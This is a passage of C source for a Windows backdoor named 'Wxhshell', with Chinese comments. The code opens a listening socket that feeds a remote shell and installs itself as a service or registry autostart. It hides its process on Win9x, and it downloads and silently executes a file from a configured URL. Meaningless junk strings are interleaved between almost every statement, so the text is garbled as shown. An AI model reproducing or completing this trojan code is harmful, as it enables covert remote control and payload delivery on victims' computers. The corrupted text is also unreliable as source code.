hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4V:W 8k 9D if(hProcess==NULL) return 0; x:)H Ii q/ 6u"wgX]H HMODULE hMod; 6(QfD](2} char procName[255]; dUv@u!}B unsigned long cbNeeded; wH|%3@eJ $+WXM$N if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X;!*D s&E,$|80 CloseHandle(hProcess); qArR5OJ ZjxF@`H if(strstr(procName,"services")) return 1; // 以服务启动 U;bx^2<m N*A*\B%{x' return 0; // 注册表启动 VZqCFE3 } :<aGZ\R5 Ar>B_*dr // 主模块 7]rIq\bM int StartWxhshell(LPSTR lpCmdLine) nFlN{_/ { p7YYAh@x\ SOCKET wsl; k1z`92" BOOL val=TRUE; lj]M 1zEz& int port=0; v`oilsrc struct sockaddr_in door; .JKH=?~\ Tt~4'{Bc if(wscfg.ws_autoins) Install(); JzEg`Sn^ 4pL'c@' port=atoi(lpCmdLine); :P-H8*n"" }[eUAGhDU if(port<=0) port=wscfg.ws_port; &n1Vv_Lb /kGWd9ujF WSADATA data; RFbf2s\t if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;}Jv4Z {gzQ/|}#z- if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q9cSrU[$ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $'\kK,= door.sin_family = AF_INET; 3rRIrrYO door.sin_addr.s_addr = inet_addr("127.0.0.1"); m@<,bZkl door.sin_port = htons(port); uRy}HLZ" G+=Gc(J if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bg|$1ue closesocket(wsl); K["rr/ return 1; S5JMt;O } )L&y@dy) H{=]94 if(listen(wsl,2) == INVALID_SOCKET) { q&:7R
.Ci closesocket(wsl); fExFpR,` return 1; 76T7<.S } [lIX&!T" Wxhshell(wsl); )y]Dmm WSACleanup(); _!2lnJ4+5 |4DN2P
return 0; pS8\ B E#P#{_BR^ } w#1BHx 46vC/ // 以NT服务方式启动 {eU>E/SQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p@78Xmu?q { ,xU#uyB DWORD status = 0; vs8[352 DWORD specificError = 0xfffffff; jW&*?6< oJM;CN serviceStatus.dwServiceType = SERVICE_WIN32; =RUy4+0>F serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6`2i'flv serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FqJd serviceStatus.dwWin32ExitCode = 0; qVU<jt serviceStatus.dwServiceSpecificExitCode = 0; O\7x+^. serviceStatus.dwCheckPoint = 0; X#T|.mCdC serviceStatus.dwWaitHint = 0; 6c+29@ ~0CNCP hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y1lUO[F j if (hServiceStatusHandle==0) return; 9L7z<ntn 5!ngM status = GetLastError(); 0VvY(j:hp if (status!=NO_ERROR) C+\z$/q { MY{Kq;FvRP serviceStatus.dwCurrentState = SERVICE_STOPPED; "`K_5"F serviceStatus.dwCheckPoint = 0; #reR<qp&] serviceStatus.dwWaitHint = 0; ~V(>L=\V; serviceStatus.dwWin32ExitCode = status; Q:)4 serviceStatus.dwServiceSpecificExitCode = specificError; *
0K]/tn< SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9V)cf return; )*%uG{h } %o9mG<.T trwo(p serviceStatus.dwCurrentState = SERVICE_RUNNING;
c2V_|oL serviceStatus.dwCheckPoint = 0; kPOk.F%) serviceStatus.dwWaitHint = 0; HpbwW=;V if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TS#1+f]9J< } =_&,^h@'3e idBdaZg // 处理NT服务事件,比如:启动、停止 n jd2 VOID WINAPI NTServiceHandler(DWORD fdwControl) 1f3g5y'z5 { k4&adX@Y switch(fdwControl) 3B[tbU( { dDiy_Q6 case SERVICE_CONTROL_STOP: &pl)E$Y serviceStatus.dwWin32ExitCode = 0; <.g)?nj1 serviceStatus.dwCurrentState = SERVICE_STOPPED; <Y /3U serviceStatus.dwCheckPoint = 0; DaH4 Br.2 serviceStatus.dwWaitHint = 0; :M;|0w*b { L7- JK3/E SetServiceStatus(hServiceStatusHandle, &serviceStatus); %D-!<)z } N]8/l:@ return; Lm$KR!z case SERVICE_CONTROL_PAUSE: ^Zpz@T>m serviceStatus.dwCurrentState = SERVICE_PAUSED; Y".?j5f? break;
Mb_"M7 case SERVICE_CONTROL_CONTINUE: q:F6MW serviceStatus.dwCurrentState = SERVICE_RUNNING; Bph(\=
W break; rG-x 3>b case SERVICE_CONTROL_INTERROGATE: &hVf=We break; a@|`!<5 }; tZ) ,Z< SetServiceStatus(hServiceStatusHandle, &serviceStatus); DFfh!KKR$ } hJFxT8B/ c 9gm% // 标准应用程序主函数 s'/_0 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /hg^hF { 11S{XbU `$4wm0G| // 获取操作系统版本 %b
pQ= OsIsNt=GetOsVer(); Hv"qRuQ?[ GetModuleFileName(NULL,ExeFile,MAX_PATH); z+fy&NPl b7'A5]X // 从命令行安装 cooicKS7 if(strpbrk(lpCmdLine,"iI")) Install(); *W=1yPP Qt"jU+Zoy // 下载执行文件 \Ogs]4 if(wscfg.ws_downexe) { E08!a if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r
'ioH"= WinExec(wscfg.ws_filenam,SW_HIDE); 1=_?Wg: } 4J9Y cgcU2N6y; if(!OsIsNt) { 9R+ qw // 如果时win9x,隐藏进程并且设置为注册表启动 DbI)tDi5D HideProc(); heES
[ StartWxhshell(lpCmdLine); (<`>B } M;g"rpM else *ax&}AHK[/ if(StartFromService()) }uD*\. // 以服务方式启动 ZDK+>^A) StartServiceCtrlDispatcher(DispatchTable); FKtCUq,: else CW@EQ3y0 // 普通方式启动 W)2k>cS StartWxhshell(lpCmdLine); KVC18"|f aB&a#^5CI return 0; gW G>}M@ }
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